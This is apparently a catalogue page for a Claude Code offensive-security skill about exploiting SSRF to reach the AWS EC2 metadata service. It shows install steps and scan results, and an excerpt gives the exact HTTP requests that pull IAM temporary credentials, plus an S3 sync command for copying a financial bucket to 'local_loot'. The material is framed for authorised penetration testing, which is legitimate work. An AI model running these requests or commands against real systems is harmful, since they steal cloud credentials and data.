aws-metadata-ssrf-exploitation

aws-metadata-ssrf-exploitation is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 68 tokens per session (2,634 once invoked), scanned B, a copy of aws-metadata-ssrf-exploitation, Apache-2.0.

An attack technique that abuses a server-side request forgery (SSRF) flaw in an AWS-hosted application to reach the EC2 Instance Metadata Service. That service can provide temporary credentials and information about the cloud environment.

In plain words
What is it for?
Use it in an authorised cloud penetration test to assess metadata exposure, temporary IAM credentials, and internal AWS network details.
Why use it?
It shows how a web request flaw can lead to stolen AWS permissions and access beyond the application itself.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it runs a file that does not travel with it, so clone the repository first. The line is aws s3 sync s3://internal-financial-bucket/ ./local_loot/.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it in an authorised cloud penetration test to assess metadata exposure, temporary IAM credentials, and internal AWS network details.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf-exploitation

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for aws-metadata-ssrf-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf-exploitation/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf-exploitation)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for aws-metadata-ssrf-exploitation

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 68 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,634 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00068 $0.02634
Opus 5 $0.00034 $0.01317
Sonnet 5 $0.00014 $0.00527
Haiku 4.5 $0.00007 $0.00263

Measured 9d ago against content hash 8dd8a1b60706, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

aws-metadata-ssrf-exploitation scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

# (169.254.169.254) exclusively accessible ONLY from INSIDE the EC2 instance itself.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, aws-cli, curl, pacu]
Origin

This is a copy

100% identical to aws-metadata-ssrf-exploitation — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/penetration-testing/cloud-security/aws-metadata-ssrf-exploitation/SKILL.md · 192 lines

How it starts

The opening of the file, as written. The whole thing — 192 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AWS Metadata SSRF Exploitation (IMDS)

When to Use

  • When identifying a robust Server-Side Request Forgery (SSRF) vulnerability on a web application explicitly hosted on Amazon Web Services (AWS) architecture (e.g., an EC2 instance or Elastic Beanstalk).
  • To aggressively acquire high-privileged, temporary AWS IAM (Identity and Access Management) credentials to fundamentally escape the constrained Web Application payload boundary and directly compromise the overarching cloud infrastructure.
  • To map backend infrastructure topology dynamically utilizing internal VPC IP ranges available natively within the metadata directory.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the Metadata Endpoint Target

# Concept: AWS EC2 instances natively host an invisible, non-routable link-local IP address 
# (169.254.169.254) exclusively accessible ONLY from INSIDE the EC2 instance itself.
# It provides massive amounts of configuration metadata regarding the server instance.
# If an SSRF vulnerability exists, the attacker commands the vulnerable EC2 server to HTTP GET 
# its own metadata endpoint and return the secrets identically in the web response.

# Standard Target URIs (IMDSv1):
# http://169.254.169.254/latest/meta-data/
# http://169.254.169.254/latest/meta-data/iam/security-credentials/

Phase 2: Exploiting IMDSv1 (Unprotected Metadata)

# Concept: If the EC2 instance utilizes older infrastructure (IMDSv1), the endpoint natively 
# accepts standard HTTP GET requests identically without requiring special authentication headers.

# 1. Execute the SSRF capturing the IAM Role Target Name
# Request:
GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: www.target-app.com

# Response (Identifies the Role attached to the EC2):
HTTP/1.1 200 OK
Production_Web_App_Role

# 2. Extract the Temporary Credentials inherently assigned to that Role
# Request:
GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Production_Web_App_Role HTTP/1.1

# Response (The Loot):
HTTP/1.1 200 OK
{
  "Code" : "Success",
  "LastUpdated" : "2024-03-24T12:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "ZxyY...",
  "Token" : "IQoJb3JpZ2luX2VjEJv...",
  "Expiration" : "2024-03-24T18:00:00Z"
}

Read the full file on GitHub · 192 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 192 lines · 68 tokens per session scan B 8dd8a1b60706

Subscribe to this mod's changes

aws-metadata-ssrf-exploitation is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 68 tokens to every session and 2,634 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to aws-metadata-ssrf-exploitation, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories